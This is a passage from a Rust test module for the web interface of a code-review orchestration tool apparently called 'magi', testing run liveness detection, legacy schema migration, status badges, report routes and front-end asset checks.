17538        .expect("write run.json");
17539
17540        // No daemon.json at all, and no `driver_pid` recorded either (this
17541        // state was written directly, never through `execute()`): there is
17542        // nothing to confirm either way, so the route must say `"unknown"` —
17543        // never `"dead"`, which is exactly the false diagnosis a manual `magi
17544        // run` used to get from this route before `driver_pid` existed.
17545        let cold = f.get(&format!("/api/runs/{id}")).await.json();
17546        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17547        assert_eq!(cold["live"], "unknown", "{cold}");
17548
17549        // A fresh heartbeat naming exactly this run: the same entry now reads
17550        // as confirmed, not merely recorded.
17551        write_daemon(f.home.path(), Timestamp::now());
17552        let warm = f.get(&format!("/api/runs/{id}")).await.json();
17553        assert_eq!(warm["live"], "live", "{warm}");
17554    }
17555
17556    #[test]
17557    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17558        let home = tempfile::tempdir().expect("temp home");
17559        let runs = home.path().join("runs");
17560        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17561            let mut state = RunState::new(
17562                PathBuf::from("/repo/magi"),
17563                "main".to_owned(),
17564                "0123456789abcdef".to_owned(),
17565                "Generated review context, not authored task criteria".to_owned(),
17566                Config::default(),
17567            );
17568            state.origin = origin;
17569            state.status = RunStatus::Blocked;
17570            // Earlier migrations must not infer these facts again.
17571            state.driver_exited = false;
17572            state.gate_ran = true;
17573            let expected = serde_json::to_value(&state).expect("serialize current state");
17574            let mut legacy = expected.clone();
17575            legacy["schema"] = serde_json::json!(13);
17576            legacy.as_object_mut().unwrap().remove("task_instruction");
17577            let dir = runs.join(&state.id);
17578            std::fs::create_dir_all(&dir).expect("run dir");
17579            let path = dir.join("run.json");
17580            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17581            std::fs::write(&path, &body).expect("write legacy run");
17582
17583            for loaded in [
17584                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17585                read_run(&runs, &state.id).expect("web migration"),
17586            ] {
17587                assert_eq!(loaded.schema, crate::run::SCHEMA);
17588                assert!(loaded.task_instruction.is_none());
17589                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17590            }
17591            assert_eq!(runs_unreadable(&runs), 0);
17592            assert_eq!(std::fs::read(&path).unwrap(), body);
17593        }
17594    }
17595
17596    /// Where a run came from is shown, and a run written before origins were
17597    /// recorded (schema 12, no `origin` key) stays readable and says so.
17598    #[tokio::test]
17599    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17600        let f = Fixture::start().await;
17601        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17602            let mut state = RunState::new(
17603                PathBuf::from("/repo/magi"),
17604                "main".to_owned(),
17605                "0123456789abcdef".to_owned(),
17606                "Add a web UI".to_owned(),
17607                Config::default(),
17608            );
17609            state.id = id.to_owned();
17610            state.origin = origin;
17611            let mut value = serde_json::to_value(&state).expect("serialize run");
17612            if let Some(schema) = schema {
17613                value["schema"] = serde_json::json!(schema);
17614                value.as_object_mut().unwrap().remove("origin");
17615            }
17616            let dir = f.runs().join(id);
17617            std::fs::create_dir_all(&dir).expect("run dir");
17618            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17619        };
17620        write(
17621            "20260930-092817-ec34",
17622            Some(crate::run::Origin::from_agent_env(
17623                Some(("4a7b".to_owned(), "chat".to_owned())),
17624                None,
17625            )),
17626            None,
17627        );
17628        write("20260930-092817-0ld1", None, Some(12));
17629
17630        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17631        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17632        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17633
17634        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17635        assert_eq!(
17636            old["origin_label"], "origin unknown (started before origins were recorded)",
17637            "{old}"
17638        );
17639        assert!(old["origin"].is_null(), "{old}");
17640
17641        let list = f.get("/api/runs").await.json();
17642        let labels: Vec<_> = list
17643            .as_array()
17644            .unwrap()
17645            .iter()
17646            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17647            .collect();
17648        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17649    }
17650
17651    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
17652    /// review` claims no daemon at all, so before this field existed the
17653    /// route above read it as `"dead"` — indistinguishable from a run a
17654    /// killed process abandoned — the whole time it was genuinely still
17655    /// answering. With a live pid recorded, it must read `"live"` even
17656    /// though no daemon claims it.
17657    #[tokio::test]
17658    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17659        let f = Fixture::start().await;
17660        let id = "20260922-090000-cccc";
17661        let mut state = RunState::new(
17662            PathBuf::from("/repo/magi"),
17663            "main".to_owned(),
17664            "0123456789abcdef".to_owned(),
17665            "Review only".to_owned(),
17666            Config::default(),
17667        );
17668        state.id = id.to_owned();
17669        state.status = RunStatus::Reviewing;
17670        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17671        // This test process's own pid: guaranteed alive, and never needs a
17672        // real daemon or a second process to prove it. The matching start-time
17673        // marker is what `liveness` now requires alongside a live pid — see
17674        // `RunState::driver_started_at`'s own doc for why the pid alone is
17675        // not enough.
17676        state.driver_pid = Some(std::process::id());
17677        state.driver_started_at = Some(
17678            crate::proc::process_started_at(std::process::id())
17679                .expect("this test process's own start time must be queryable"),
17680        );
17681        let dir = f.runs().join(id);
17682        std::fs::create_dir_all(&dir).expect("run dir");
17683        std::fs::write(
17684            dir.join("run.json"),
17685            serde_json::to_string_pretty(&state).expect("serialize run"),
17686        )
17687        .expect("write run.json");
17688
17689        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17690        assert_eq!(detail["live"], "live", "{detail}");
17691    }
17692
17693    /// A killed manual run's pid can be handed to a wholly unrelated later
17694    /// process — a live query on `driver_pid` alone would read this as
17695    /// `"live"`, exactly the false positive `driver_started_at` exists to
17696    /// catch (see that field's own doc, and `RunState::liveness_with`'s
17697    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
17698    #[tokio::test]
17699    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17700        let f = Fixture::start().await;
17701        let id = "20260922-090100-dddd";
17702        let mut state = RunState::new(
17703            PathBuf::from("/repo/magi"),
17704            "main".to_owned(),
17705            "0123456789abcdef".to_owned(),
17706            "Review only".to_owned(),
17707            Config::default(),
17708        );
17709        state.id = id.to_owned();
17710        state.status = RunStatus::Reviewing;
17711        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17712        // This test process's own pid really is alive, but the marker
17713        // recorded here does not match what it actually started at —
17714        // standing in for the pid having since been reused by a different
17715        // process than the one that wrote `run.json`.
17716        state.driver_pid = Some(std::process::id());
17717        state.driver_started_at = Some("1".to_owned());
17718        let dir = f.runs().join(id);
17719        std::fs::create_dir_all(&dir).expect("run dir");
17720        std::fs::write(
17721            dir.join("run.json"),
17722            serde_json::to_string_pretty(&state).expect("serialize run"),
17723        )
17724        .expect("write run.json");
17725
17726        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17727        assert_eq!(detail["live"], "dead", "{detail}");
17728    }
17729
17730    /// The deck's competition list is normally the first place an operator
17731    /// sees an old run. It must carry the same process verdict as detail, or
17732    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
17733    #[test]
17734    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17735        let mk = |id: &str, pid: Option<u32>| {
17736            let mut s = RunState::new(
17737                PathBuf::from("/repo/magi"),
17738                "main".to_owned(),
17739                "0123456789abcdef".to_owned(),
17740                "Add a web UI".to_owned(),
17741                Config::default(),
17742            );
17743            s.id = id.to_owned();
17744            s.driver_pid = pid;
17745            s.driver_started_at = Some("1790000000".to_owned());
17746            s
17747        };
17748        let states = vec![
17749            mk("20260902-140502-aaaa", Some(77)),
17750            mk("20260902-140502-bbbb", Some(77)),
17751            mk("20260902-140502-cccc", Some(77)),
17752            mk("20260902-140502-dddd", None),
17753        ];
17754        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17755        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17756        let sup: HashMap<String, String> = [(
17757            "20260902-140502-aaaa".to_owned(),
17758            "20260902-140502-cccc".to_owned(),
17759        )]
17760        .into();
17761
17762        let status_calls = std::cell::Cell::new(0);
17763        let identity_calls = std::cell::Cell::new(0);
17764        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17765            |_| {
17766                status_calls.set(status_calls.get() + 1);
17767                Some(true)
17768            },
17769            |_| {
17770                identity_calls.set(identity_calls.get() + 1);
17771                Some("1790000000".to_owned())
17772            },
17773        ));
17774        let rows = summarize(
17775            states,
17776            &open,
17777            &claimed,
17778            &sup,
17779            |p| probe.borrow_mut().status(p),
17780            |p| probe.borrow_mut().started_at(p),
17781        );
17782
17783        assert_eq!(status_calls.get(), 1, "one pid, one status query");
17784        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17785        assert_eq!(rows.len(), 4);
17786        assert!(!rows[0].waiting && rows[1].waiting);
17787        assert_eq!(rows[0].live, crate::run::Liveness::Live);
17788        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17789        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17790        assert_eq!(rows[1].superseded_by, None);
17791    }
17792
17793    #[test]
17794    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17795        let mut state = RunState::new(
17796            PathBuf::from("/repo/magi"),
17797            "main".to_owned(),
17798            "0123456789abcdef".to_owned(),
17799            "Review only".to_owned(),
17800            Config::default(),
17801        );
17802        state.id = "20260922-090200-dead".to_owned();
17803        state.status = RunStatus::Reviewing;
17804        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17805            .expect("serialize list row");
17806        assert_eq!(row["status"], "reviewing");
17807        assert_eq!(row["display_status"], "stale");
17808        assert_eq!(row["live"], "dead", "{row}");
17809        assert!(!row["done"].as_bool().unwrap());
17810    }
17811
17812    #[test]
17813    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17814        use crate::run::Liveness::{Dead, Live, Unknown};
17815        let mut state = RunState::new(
17816            PathBuf::from("/repo/magi"),
17817            "main".to_owned(),
17818            "abc".to_owned(),
17819            "Review only".to_owned(),
17820            Config::default(),
17821        );
17822        for (status, parked, node, waiting, live, expected) in [
17823            (
17824                RunStatus::Judging,
17825                true,
17826                "github-text",
17827                false,
17828                Dead,
17829                "parked",
17830            ),
17831            (RunStatus::Judging, false, "park", false, Dead, "stale"),
17832            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17833            (
17834                RunStatus::Judging,
17835                true,
17836                "github-text",
17837                true,
17838                Dead,
17839                "waiting",
17840            ),
17841            (
17842                RunStatus::Judging,
17843                false,
17844                "github-text",
17845                true,
17846                Dead,
17847                "waiting",
17848            ),
17849            (
17850                RunStatus::Judging,
17851                false,
17852                "github-text",
17853                false,
17854                Dead,
17855                "stale",
17856            ),
17857            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17858            (RunStatus::Judging, true, "park", false, Live, "judging"),
17859            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17860            (RunStatus::Merged, true, "park", false, Dead, "merged"),
17861            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17862            (
17863                RunStatus::Blocked,
17864                true,
17865                "github-text",
17866                true,
17867                Dead,
17868                "waiting",
17869            ),
17870        ] {
17871            state.status = status;
17872            state.parked = parked;
17873            state.events.clear();
17874            state.event(
17875                "park",
17876                "an earlier park does not determine the latest state",
17877            );
17878            state.event(node, "message is not used for classification");
17879            let summary = RunSummary::of(&state, waiting, live);
17880            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17881            assert_eq!(
17882                summary.display_status, expected,
17883                "{status:?}/{node}/{live:?}"
17884            );
17885            assert_eq!(detail.display_status, summary.display_status);
17886            assert_eq!(detail.waiting, summary.waiting);
17887        }
17888        state.status = RunStatus::Judging;
17889        state.parked = false;
17890        state.events.clear();
17891        assert_eq!(run_display_status(&state, false, Dead), "stale");
17892    }
17893
17894    #[test]
17895    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17896        use crate::run::Liveness::{Dead, Live, Unknown};
17897        let mut state = RunState::new(
17898            PathBuf::from("/repo/magi"),
17899            "main".to_owned(),
17900            "abc".to_owned(),
17901            "Badge".to_owned(),
17902            Config::default(),
17903        );
17904        for (status, waiting, live, superseded, expected) in [
17905            (RunStatus::Gating, false, Dead, false, "stale"),
17906            (RunStatus::Gating, false, Dead, true, "superseded"),
17907            (RunStatus::Gating, false, Unknown, true, "superseded"),
17908            (RunStatus::Gating, true, Dead, true, "superseded"),
17909            (RunStatus::Gating, true, Dead, false, "waiting"),
17910            (RunStatus::Gating, false, Unknown, false, "gating"),
17911            (RunStatus::Gating, false, Live, true, "gating"),
17912            (RunStatus::Gating, true, Live, true, "waiting"),
17913            (RunStatus::Merged, false, Dead, true, "merged"),
17914            (RunStatus::Blocked, false, Dead, true, "blocked"),
17915        ] {
17916            state.status = status;
17917            let display = run_display_status(&state, waiting, live);
17918            assert_eq!(
17919                run_badge_status(&state, &display, live, superseded),
17920                expected,
17921                "{status:?}/{live:?}/superseded={superseded}"
17922            );
17923        }
17924    }
17925
17926    #[test]
17927    fn summarize_and_detail_expose_badge_status() {
17928        use crate::run::Liveness::Dead;
17929        let mut state = RunState::new(
17930            PathBuf::from("/repo/magi"),
17931            "main".to_owned(),
17932            "abc".to_owned(),
17933            "Badge".to_owned(),
17934            Config::default(),
17935        );
17936        state.status = RunStatus::Gating;
17937        let none = HashSet::new();
17938        let id = state.id.clone();
17939        let mut by = HashMap::new();
17940        let rows = summarize(
17941            [state.clone()],
17942            &none,
17943            &none,
17944            &by,
17945            |_| Some(false),
17946            |_| None,
17947        );
17948        // No driver recorded: liveness is not provably dead, so the node stays.
17949        assert_eq!(rows[0].badge_status, rows[0].display_status);
17950        by.insert(id, "20260901-000000-913b".to_owned());
17951        let detail = RunDetailView::of(
17952            state.clone(),
17953            false,
17954            Dead,
17955            Some("913b".to_owned()),
17956            None,
17957            None,
17958        );
17959        assert_eq!(detail.badge_status, "superseded");
17960        let json = serde_json::to_value(&detail).unwrap();
17961        assert_eq!(json["badge_status"], "superseded");
17962        let detail = RunDetailView::of(state, false, Dead, None, None, None);
17963        assert_eq!(detail.badge_status, "stale");
17964    }
17965
17966    #[tokio::test]
17967    async fn run_display_status_routes_share_the_open_question_store() {
17968        let f = Fixture::start().await;
17969        let id = "20260922-090200-abcd";
17970        write_run(&f.runs(), id, RunStatus::Judging);
17971        let mut state = read_run(&f.runs(), id).unwrap();
17972        state.parked = true;
17973        state.driver_exited = true;
17974        state.event("github-text", "waiting for the owner");
17975        state.save_under(f.home.path()).unwrap();
17976        let mut task = Task::new(
17977            "resumed task".to_owned(),
17978            "do it".to_owned(),
17979            PathBuf::from("/repo"),
17980            Source::Human,
17981        );
17982        task.runs = vec![id.to_owned(), id.to_owned()];
17983        f.queue().put(&mut task).unwrap();
17984        let store = f.questions();
17985        let mut q = Question::new(
17986            id.to_owned(),
17987            "github-text".to_owned(),
17988            "owner".to_owned(),
17989            "Approve the text?".to_owned(),
17990            String::new(),
17991            Vec::new(),
17992        );
17993        store.put(&mut q).unwrap();
17994        for expected in ["waiting", "parked"] {
17995            let list = f.get("/api/runs").await.json();
17996            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17997            assert_eq!(list[0]["display_status"], expected);
17998            assert_eq!(detail["display_status"], expected);
17999            assert_eq!(detail["waiting"], list[0]["waiting"]);
18000            assert_eq!(list[0]["badge_status"], expected);
18001            assert_eq!(detail["badge_status"], expected);
18002            assert!(list[0]["superseded_by"].is_null());
18003            assert!(detail["superseded_by"].is_null());
18004            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18005            let history = task_detail["history"].as_array().unwrap();
18006            assert_eq!(history.len(), 2);
18007            assert!(history[0]["badge"].is_null());
18008            assert_eq!(history[1]["badge"], expected);
18009            q.status = ask::QuestionStatus::Answered;
18010            store.put(&mut q).unwrap();
18011        }
18012    }
18013
18014    #[tokio::test]
18015    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18016        let f = Fixture::start().await;
18017        let id = "20260922-090200-abcd";
18018        write_run(&f.runs(), id, RunStatus::Judging);
18019        let mut state = read_run(&f.runs(), id).unwrap();
18020        state.parked = true;
18021        state.driver_exited = true;
18022        state.event("park", "stopped at a node boundary");
18023        state.save_under(f.home.path()).unwrap();
18024
18025        for expected in ["parked", "stale"] {
18026            let list = f.get("/api/runs").await.json();
18027            let detail = f.get(&format!("/api/runs/{id}")).await.json();
18028            assert_eq!(list[0]["live"], "dead");
18029            assert_eq!(list[0]["display_status"], expected);
18030            assert_eq!(detail["display_status"], expected);
18031            // Model a driver claim followed by a crash before the next event:
18032            // the persisted flag changes, but the last event is still park.
18033            state.parked = false;
18034            state.save_under(f.home.path()).unwrap();
18035        }
18036    }
18037
18038    #[tokio::test]
18039    async fn the_run_list_is_newest_first_and_honours_a_limit() {
18040        let f = Fixture::start().await;
18041        for id in [
18042            "20260902-140501-aaaa",
18043            "20260902-140502-bbbb",
18044            "20260902-140503-cccc",
18045        ] {
18046            write_run(&f.runs(), id, RunStatus::Merged);
18047        }
18048
18049        let all = f.get("/api/runs").await.json();
18050        let capped = f.get("/api/runs?limit=2").await.json();
18051
18052        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18053        assert_eq!(all.as_array().map(Vec::len), Some(3));
18054        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18055        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18056    }
18057
18058    #[tokio::test]
18059    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18060        let f = Fixture::start().await;
18061        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18062
18063        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18064
18065        assert_eq!(res.status, 200);
18066        assert!(
18067            res.headers
18068                .contains("content-type: text/plain; charset=utf-8"),
18069            "a browser must render it, not download it: {}",
18070            res.headers
18071        );
18072        // The assertion is on content, not on the absence of escapes: colour
18073        // is a process-global that `serve` turns off at startup, and another
18074        // test in this binary may own it while this one runs.
18075        assert!(
18076            res.body.contains("20260902-140501-a1b2"),
18077            "the report is about the run that was asked for: {}",
18078            res.body
18079        );
18080    }
18081
18082    #[tokio::test]
18083    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18084        // The view names the run's state directory, which reads the process-global home.
18085        crate::run::pin_test_home();
18086        let f = Fixture::start().await;
18087        let id = "20260902-140501-a1b2";
18088        write_run(&f.runs(), id, RunStatus::Stalled);
18089        // A stalled panel and one review round, written through the real
18090        // state file so the route reads what a run really leaves behind.
18091        let path = f.runs().join(id).join("run.json");
18092        let mut v: serde_json::Value =
18093            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18094        v["tally"] = serde_json::json!({
18095            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18096            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18097            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18098            "met_quorum": false, "rankings": 1
18099        });
18100        v["reviews"] = serde_json::json!([{
18101            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18102            "e2e_deferred": true,
18103            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18104                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18105            ]}]
18106        }]);
18107        std::fs::write(&path, v.to_string()).unwrap();
18108        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18109        std::fs::write(
18110            f.runs().join("20260902-140502-dead").join("run.json"),
18111            "{not json",
18112        )
18113        .unwrap();
18114
18115        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18116
18117        assert_eq!(res.status, 200, "{}", res.body);
18118        assert!(res.headers.contains("content-type: application/json"));
18119        let j = res.json();
18120        assert_eq!(j["schema"], 1);
18121        assert_eq!(j["header"]["id"], id);
18122        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18123        let kinds: Vec<&str> = j["sections"]
18124            .as_array()
18125            .unwrap()
18126            .iter()
18127            .map(|s| s["kind"].as_str().unwrap())
18128            .collect();
18129        assert_eq!(kinds, ["candidates", "tally", "review"]);
18130        let tally = &j["sections"][1]["tally"];
18131        assert_eq!(
18132            (tally["decided"].clone(), tally["provisional"].clone()),
18133            (false.into(), true.into())
18134        );
18135        let round = &j["sections"][2]["rounds"][0];
18136        assert_eq!(round["e2e"]["state"], "deferred");
18137        assert_eq!(round["findings"][0]["severity"], "major");
18138        assert_eq!(round["findings"][0]["blocking"], true);
18139        assert_eq!(round["findings"][0]["state"], "open");
18140
18141        // The raw route keeps working beside it.
18142        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18143
18144        // An unreadable run is an error, as on the text route, and is counted.
18145        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
18146        assert_ne!(bad.status, 200, "{}", bad.body);
18147        assert_eq!(
18148            bad.status,
18149            f.get("/api/runs/20260902-140502-dead/report").await.status
18150        );
18151        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
18152        assert_eq!(
18153            f.get("/api/runs/20260902-999999-ffff/report.json")
18154                .await
18155                .status,
18156            404
18157        );
18158    }
18159
18160    #[tokio::test]
18161    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
18162        crate::run::pin_test_home();
18163        let f = Fixture::start().await;
18164        let id = "20260902-140503-delib";
18165        write_run(&f.runs(), id, RunStatus::Merged);
18166        let path = f.runs().join(id).join("run.json");
18167        let mut v: serde_json::Value =
18168            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18169        v["judgements"] = serde_json::json!([
18170            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18171        ]);
18172        v["tally"] = serde_json::json!({
18173            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18174            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
18175            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
18176            "met_quorum": true, "rankings": 1
18177        });
18178        v["deliberation"] = serde_json::json!([
18179            {
18180                "round": 1,
18181                "turns": [
18182                    {
18183                        "judge": 1,
18184                        "agent": "judge-1",
18185                        "body": "I prefer candidate **A** because it has cleaner tests.",
18186                        "tentative": "A"
18187                    }
18188                ]
18189            },
18190            {
18191                "round": 2,
18192                "turns": [
18193                    {
18194                        "judge": 1,
18195                        "agent": "judge-1",
18196                        "body": "Still thinking, no choice yet.",
18197                        "tentative": null
18198                    }
18199                ]
18200            }
18201        ]);
18202        std::fs::write(&path, v.to_string()).unwrap();
18203
18204        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18205        assert_eq!(res.status, 200, "{}", res.body);
18206        let j = res.json();
18207        let judging = j["sections"]
18208            .as_array()
18209            .unwrap()
18210            .iter()
18211            .find(|s| s["kind"] == "judging")
18212            .expect("judging section exists");
18213
18214        // Existing summary lines remain intact
18215        let delib_lines = judging["deliberation"].as_array().unwrap();
18216        assert_eq!(delib_lines.len(), 2);
18217        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
18218        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
18219
18220        // rounds carry turn bodies, tentative and parsed body_md
18221        let rounds = judging["rounds"].as_array().unwrap();
18222        assert_eq!(rounds.len(), 2);
18223        let r1_t0 = &rounds[0]["turns"][0];
18224        assert_eq!(r1_t0["judge"], 1);
18225        assert_eq!(r1_t0["agent"], "judge-1");
18226        assert_eq!(r1_t0["tentative"], "A");
18227        assert_eq!(
18228            r1_t0["body"],
18229            "I prefer candidate **A** because it has cleaner tests."
18230        );
18231        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
18232
18233        let r2_t0 = &rounds[1]["turns"][0];
18234        assert_eq!(r2_t0["judge"], 1);
18235        assert_eq!(r2_t0["agent"], "judge-1");
18236        assert!(r2_t0["tentative"].is_null());
18237        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
18238        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
18239
18240        // A run with empty deliberation array yields empty rounds
18241        let id_empty = "20260902-140504-nodelib";
18242        write_run(&f.runs(), id_empty, RunStatus::Merged);
18243        let path_empty = f.runs().join(id_empty).join("run.json");
18244        let mut v_empty: serde_json::Value =
18245            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
18246        v_empty["judgements"] = serde_json::json!([
18247            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18248        ]);
18249        v_empty["deliberation"] = serde_json::json!([]);
18250        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
18251
18252        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
18253        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
18254        let j_empty = res_empty.json();
18255        let judging_empty = j_empty["sections"]
18256            .as_array()
18257            .unwrap()
18258            .iter()
18259            .find(|s| s["kind"] == "judging")
18260            .expect("judging section exists");
18261        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
18262    }
18263
18264    #[tokio::test]
18265    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
18266        let f = Fixture::start().await;
18267
18268        let html = f.get("/").await;
18269        let css = f.get("/app.css").await;
18270        let js = f.get("/app.js").await;
18271
18272        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
18273        assert!(
18274            html.headers
18275                .contains("content-type: text/html; charset=utf-8")
18276        );
18277        assert!(css.headers.contains("content-type: text/css"));
18278        assert!(js.headers.contains("content-type: text/javascript"));
18279        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
18280    }
18281
18282    #[test]
18283    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
18284        let body = |name: &str| {
18285            let at = APP_JS
18286                .find(name)
18287                .unwrap_or_else(|| panic!("{name} missing"));
18288            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18289        };
18290        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
18291        let note = body("function landRoundNote");
18292        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
18293        assert!(note.contains("Land round ${round}"));
18294        let land = body("function renderLand");
18295        let note_at = land
18296            .find("landRoundNote(pr)")
18297            .expect("renderLand uses the note");
18298        assert!(
18299            note_at
18300                < land
18301                    .find("roundRail(pr)")
18302                    .expect("renderLand uses the rail")
18303        );
18304    }
18305
18306    #[test]
18307    fn the_runs_page_redesign_keeps_its_guards() {
18308        let body = |name: &str| {
18309            let at = APP_JS
18310                .find(name)
18311                .unwrap_or_else(|| panic!("{name} missing"));
18312            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18313        };
18314        // A null child must never reach the native append (it prints "null").
18315        let land = body("function renderLand");
18316        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
18317        assert!(
18318            !land.contains("box.append("),
18319            "renderLand must use append()"
18320        );
18321        assert!(land.contains("append(box, ["));
18322        // Tabs are hash routes; the run id alone decides a reload.
18323        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
18324        assert!(
18325            body("function applyRoute")
18326                .contains("route.name !== state.route.name || route.id !== state.route.id")
18327        );
18328        // The decorative diagram is gone, the strip and its guards stay.
18329        assert!(!APP_JS.contains("adviseConvergeDiagram"));
18330        assert!(!INDEX_HTML.contains("advise-converge"));
18331        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
18332        assert!(APP_JS.contains("provisional"));
18333        for id in [
18334            "run-tab-overview",
18335            "run-tab-timeline",
18336            "run-tab-report",
18337            "run-report",
18338            "runs-scope",
18339        ] {
18340            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
18341        }
18342        assert!(!INDEX_HTML.contains("runs-tree"));
18343        assert!(!INDEX_HTML.contains("run-raw-panel"));
18344        // Fold still says it cannot be resumed.
18345        assert!(APP_JS.contains("resume"));
18346        // The unreadable-runs count stays on the page.
18347        assert!(APP_JS.contains("unreadable"));
18348    }
18349
18350    #[test]
18351    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
18352        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
18353        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
18354        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
18355        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
18356        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
18357        // The subtitle still counts them whatever the banner does.
18358        assert!(APP_JS.contains("unreadable` : null"));
18359    }
18360
18361    #[test]
18362    fn blocked_run_detail_exposes_the_failed_gate_reason() {
18363        let mut state = RunState::new(
18364            "/repo".into(),
18365            "main".into(),
18366            "abc".into(),
18367            "task".into(),
18368            crate::config::Config::default(),
18369        );
18370        state.status = RunStatus::Blocked;
18371        state.gate_ran = true;
18372        state.gate.push(crate::run::CommandOutcome {
18373            command: "cargo make check".into(),
18374            code: Some(1),
18375            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
18376            duration_ms: 0,
18377            resource_blocked: false,
18378        });
18379        let view = RunDetailView::of(
18380            state,
18381            false,
18382            crate::run::Liveness::Unknown,
18383            None,
18384            None,
18385            None,
18386        );
18387        let value = serde_json::to_value(view).unwrap();
18388        assert_eq!(
